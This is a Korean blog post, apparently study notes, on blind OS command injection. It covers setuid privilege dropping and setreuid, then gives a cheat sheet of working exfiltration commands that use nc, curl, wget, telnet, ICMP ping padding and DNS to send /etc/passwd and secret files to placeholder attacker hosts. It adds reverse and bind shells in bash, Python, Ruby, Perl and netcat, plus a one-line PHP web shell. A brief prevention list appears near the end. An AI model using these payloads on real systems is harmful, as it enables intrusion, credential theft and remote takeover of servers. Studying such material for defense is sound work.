OS Command Injection의 한 종류로 시스템 명령의 수행 결과 값을 알 수 없을 때 사용하는 방법이다.
command injection성공후 리턴값을 볼수없기에 다른 방식으로 공격자에게 응답을 오도록 한다.
1.ping을 이용한 방법
ping -c 5 xxx.xxx.xxx.xxx : 대상 IP에 icmp 메세지를 5번 요청하는 명령어
다음처럼 command에 넣으면 대상ip를 나의 서버로 해두면 명령어가 잘먹혔을때 로그가 찍힐것이다.
다중명령어 사용법 등 링크참조
---------------틈새시장------------------
이사람 정말 설명을 잘해뒀다.
https://bpsecblog.wordpress.com/2016/10/05/command_injection_02/
setUID로 설정(root)한 프로그램에서 /bin/bash를 실행시켰을때는 root권한이 없지만 /bin/sh를 실행시켰을때는 root권한이 있는 이유
Drop privilege란 sh, bash, system( ) 등을 실행할 때 euid( Effective User ID, SetUID 모드의 프로세스가 실행 중일 때! 부여되는 추가적인 권한)가 아닌 ruid(Real User ID)의 권한으로 프로세스를 실행시키는 것을 말합니다.
=>SetUID가 설정된 파일에서 일시적으로 상승된 euid의 권한으로 sh, bash, system( ) 등의 중요한 시스템 명령을 함부로 내릴 수 없게 막기 위함이다.
Debian 계열의 리눅스가 bash에는 Drop privilege를 적용하면서, dash같은 POSIX 쉘에는 Drop privilege를 적용하지 않는다는 것이다. 그래서 Ubuntu는 ubuntu 6.10 부터 Ubuntu의 기본시스템 쉘이 dash로 지정되었기에 (이전엔 bash) 우리가 사용하는 Ubuntu의 /bin/sh은 /bin/dash와 같은 역할을 했기에 실행 시 부여받은 euid의 권한으로 /bin/sh을 실행할 수 있었던 것이다.
+ 쿠크루삥뽕 근데 이후 dash의 보안문제 때문에 업데이트가 됐고 dash 버전 0.5.7-4ubuntu2 package부터는 Drop privilege가 적용되기에 안된다고 한다.
그럼 root권한으로 쉘을 실행 못시키는것인가?->setreuid를 이용하면 된다.
setreuid 함수가 하는 일은 Set Real and Effective user ID !! 즉 Real user ID와 Effective user ID를 설정하는 역할이다.
#include
int setreuid( uid_t *ruid*, uid_t *euid* );#함수 원형
setreuid( getruid(), geteuid());#사용
setreuid(geteuid(),geteuid());#활용
다음처럼 system함수를 쓰기전 선언해주면된다. 기존은 drop privilege를 통해 ruid로 권한이 되는데 여기서 setreuid를 통해 ruid의 값을 geteuid로 euid의 값으로 만들어주어 일시적으로 root권한을 쓰는 euid 값으로 실행하게 된다.
command injection의 포인트
– 사용자로부터 검증되지 않는 입력을 받는다.
– /bin/ls같은 명령어에 이어 붙여서 system( ) 함수에 전달한다.
Linux | Windows (cmd, powershell) | 설명 |
-A, --A | /c | 커맨드 라인 옵션 |
$PATH | %PATH% | 환경 변수 |
$ABCD | $ABCD (powershell only) | 쉘 변수 |
; |
|
명령어 구분자 |
echo $(id) | for /f "delims=" %a in ('whoami') do echo %a | 명령어 치환 |
> /dev/null |
|
출력 제거 |
command || true |
|
command 명렁어 오류 무시 |
다음과 같은 서식을 이용해 공격을 진행한다.
(https://learn.dreamhack.io/28#15)
;->명령어각각
&->앞의 명령어가 성공해야 뒤에꺼 실행
| -> 하나라도 명령어가 성공하면 끝
---------------------------------------
본론으로 blind os command injectio
NetCat (NC)
NC는 TCP, UDP을 통해 네트워크 연결을 가능하게 하며, 데이터를 읽고 쓰기가 가능한 명령어다.
- 사용법 : https://en.wikipedia.org/wiki/Netcat
- nc –l –p {port} < {file/to/extract}
-d 콘솔에서 분리되어 백그라운드 모드로 실행
-e prog 커넥션(Connection)이 이루어졌을 때 후 프로그램을 실행함 (위험!)
-g gateway source-routing hop point[s]를 8씩 증가
-G num source-routing point를 4, 8, 12 .. 4씩 증가
-h 도움말
-i secs 스캔된 포트로 전송된 회선의 지연 간격
-l 인바운드 커넥션을 위해서 listen 모드로 실행
-L 소켓 종료 시 재전송 실행
-n IP 주소 입력 (DNS 을 사용하지 않음)
-o file 주고받은 데이터를 헥스 덤프(Hex Dump)하여 파일로 저장함
-p port 로컬 포트를 지정함
-r 로컬 이나 원격 포트를 임의로 지정함
-s addr 로컬 출발지 주소를 지정함
-t Telnet 과 같은 협상 과정을 거치도록 설정함
-c LF 대신 CRLF 를 보냄
-u UDP 모드
-v 자세한 설명 모드 (더 자세한 정보를 표시하기 위해 두 번 사용)
-w secs 마지막으로 읽고 난 후 종료할 시간을 정함
-z zero-I/O 모드 (스캔 시 사용)
persu$ nc -l -p 5555 < /etc/passwd&
persu$ netstat -an |grep 5555
tcp4 0 0 *.5555
persu$ nc 127.0.0.1 5555
##
# User Database
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
다음 명령어로 포트를 열고있으면 해당포트로 접속시 서버내의 /etc/passwd가 보이게 된다. 이것처럼 특정한 파일에 접근 할수도있고 리버스쉘을 통해 쉘을 얻을수있다.
cURL
cURL은 다양한 프로토콜을 사용하여 데이터를 전송하는 라이브러리 및 명령 줄 도구이며 데이터 추출을위한 매우 유용한 도구다. 취약한 서버에 cURL이 있으면 악의적인 웹 서버에 파일을 POST하거나 FTP / SCP / TFTP / TELNET 등의 프로토콜을 사용하여 파일을 전송할 수 있다.
- 사용법 : https://en.wikipedia.org/wiki/CURL
-
cat /path/to/file curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt - 사용법2: https://www.lesstif.com/software-architect/curl-http-get-post-rest-api-14745703.html
위의 명령어는 cat을 통해 /path/to/file(/etc/passwd)를 http://xxxxx/text.txt의 데이터로 사용하게 된다. (text.txt에 반영)
- curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{password}
다른방법으로 ftp에서 -T옵션을 이용해 공격자의 서버로파일을 전송하는 방법이다.
WGET
Wget은 웹에서 파일을 비 대화식으로 다운로드 할 때 일반적으로 사용되는 도구. 특히 사용자 정의 헤더 및 POST 요청을 할 수 있다.
- 사용법 : https://en.wikipedia.org/wiki/Wget
- wget –header=”EVIL:$(cat /data/secret/password.txt)”http://xxx.xxx.xxx:xxx
- –header=’name:value’ : HTTP Request 메세지 전송 시 특정 헤더에 value 추가하는 옵션
다음처럼 명령어 입력시 서버측 로그를 보면 헤더에 시스템 파일이 노출되어있다.
여러 활용방법들
- wget –header=”evil:`cat /etc/passwd | xargs echo –n`” http://xxx.xxx.xxx:xxxx
- wget –post-data exfil=`cat /data/secret/secretcode.txt` http://xxx.xxx.xxx.xxx:xxxx
- wget –post-file trophy.php http://xxx.xxx.xxx.xxx:xxxx ->특정 파일을 post body 영역에 전송하는 명령어
SMB
Windows 운영체제를 사용하는 PC에서 Linux 또는 UNIX 서버에 접속하여 파일이나 프린터를 공유하여 사용할 수 있도록 해 주는 소프트웨어이다.
- 사용법 : https://ko.wikipedia.org/wiki/%EC%82%BC%EB%B0%94_
- net use h: \xxx.xxx.xxx.xxx\web /user:{username} {password} && copy {File to Copy} h:{filename}.txt
잘 사용하지 않지만, 특정 명령어를 사용할 수 없고 SMB 프로토콜이 활성화 되어 있는 경우 유용하게 쓰일 수 있다.
TELNET
TELNET 프로토콜은 원격에서 쉘에 접근할 수 있는 서비스를 제공한다. 23번 Default Port를 사용하고 있으며, 평문 전송을 통해 데이터를 전달 하게 된다.
- 사용법 : https://en.wikipedia.org/wiki/Telnet
- telnet xxx.xxx.xxx.xxx {port} < {file to transfer}
공격자가 NC 를 이용해 특정 포트를 오픈하고 있을 시 위 명령어를 통해 Telnet 서비스에 연결하게 되지만 실제로는 지정한 파일이 입력되어 공격자 PC에는 지정한 파일의 정보가 노출되는 것을 알 수 있다
ICMP
ICMP 프로토콜은 목적지 IP에 대해 상태를 점검 하거나, management하기 위해 사용되는 서비스다. 보통 우리가 자주 쓰는 ping 명령어 또한 ICMP 메세지를 통해 전송되는 것이며, 위 내용과는 조금 다른 방식으로 사용된다.
Cat password.txt | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 xxx.xxx.xxx.xxx; done |
이 방식은 ICMP 프로토콜의 특징을 이용한 방법인데, 보통 IP 패킷을 보내기 위해서는 최소 바이트를 작성을 하여 전송해야 한다. ICMP 는 프로토콜 헤더에서 대부분의 서비스를 정의하고 실제로 보내지게 되는 Data에는 OS에서 지정한 잡다한 데이터가 입력되는데 이 부분에 공격자가 지정한 파일의 값을 입력하게 된다.
그 옵션이 바로 -p 옵션이며, 최대 16 개의 “패드”바이트를 지정할 수 있다. 여기서 공격자가 추출하고자하는 데이터를 저장하는 것이다.
예시
- DNS
DNS 프로토콜은 Domain name에 해당하는 IP 주소를 DNS 서버에 요청하여, 목적지 URL의 IP를 알아 오는 역할이다.
-
cat /data/secret/password.txt while read exfil; do host $exfil.contextis.com 192.168.107.135; done
DNS 프로토콜은 해당 URL의 IP를 서버에 요청시 쿼리를 날리게 되는데 요청할 URL에 파일의 값으로 사용한다는 내용이다.
추가로
- nc -l -p 9090 -e cmd.exe (Windows)
- nc -l -p 9090 -e /bin/bash (*nix)
위 방식을 사용하게 되면, 해당 포트에 하면 -e 옵션을 이용해 바로 쉘을 사용할 수 있게 된다.
예방법
OS Command Injection 공격은 IoT 디바이스에서 많이 발견되는 취약점이다. 이를 방어 하기 위한 방법은 아래와 같다.
- 시스템 명령어 사용 시 상수 값을 통한 입력값 제한
- 사용자 입력 값에 대한 화이트 리스트 기반의 특수문자 필터링 적용
- 외부로 패킷 전달이 가능한 시스템 명령어 제한(KISA 권고 사항)
- 낮은 권한의 웹 서비스 데몬 실행
- 웹 서비스에 대한 정기적인 로그 검토
-출처-
https://hacktagon.github.io/iot/system/persu/Blind-OSCommandInjection_Persu
network outbound
- nc (netcat)
cat /etc/passwd | nc 127.0.0.1 8080
ls -al | nc 127.0.0.1 8080
$ nc -l -p 8080 -k -v
- telnet
cat /etc/passwd | telnet 127.0.0.1 8080
- curl / wget
# GET parameter에 실행 결과 포함(개행으로 인해 오류가 발생할 수 있기 때문에 base64인코딩을 통해 개행 제거.)
curl "http://127.0.0.1:8080/?$(ls -al|base64 -w0)"
# POST Body에 실행 결과 포함
curl http://127.0.0.1:8080/ -d "$(ls -al)"
wget http://127.0.0.1:8080 --method=POST --body-data="`ls -al`"
- /dev/tcp, /dev/udp (bash 한정)
cat /etc/passwd > /dev/tcp/127.0.0.1/8080
Reverse Shell
- sh(bash)
/bin/sh -i >& /dev/tcp/127.0.0.1/8080 0>&1
/bin/sh -i >& /dev/udp/127.0.0.1/8080 0>&1
연결을 받는 서버에서 아래와 같이 nc 등의 네트워크 도구를 통해 연결을 맺게 되면 쉘을 획득할 수 있습니다.
$ nc -l -p 8080 -k -v
- Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Bind Shell
- nc(netcat)
# nc 버전에 따라 -e 옵션을 지원하지 않을 수도 있습니다.
nc -nlvp 8080 -e /bin/sh
ncat -nlvp 8080 -e /bin/sh
- perl
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
File
웹 루트 하위에 있는 폴더에 해석 가능한 (php/jsp/asp) 파일을 만들어 웹쉘 형태로 접근하는
printf '<?=system($_GET[0])?>' > /var/www/html/uploads/shell.php
웹쉘 형태로 사용 가능합니다.
Static File Directory
/?cmd=mkdir static; id > static/result.txt
출처-
https://learn.dreamhack.io/28#9
'웹' 카테고리의 다른 글
한글 blind sqlinjection (0) | 2022.06.13 |
---|---|
python flask debugger pin취약점 문제 (0) | 2022.06.08 |
SSRF localhost, 127.0.0.1 bypass (2) | 2022.05.25 |
MongoDB_Injection (0) | 2022.05.24 |
Python 쓰레드로 한번에 웹에 requests로 브루트포싱하기 (0) | 2021.11.08 |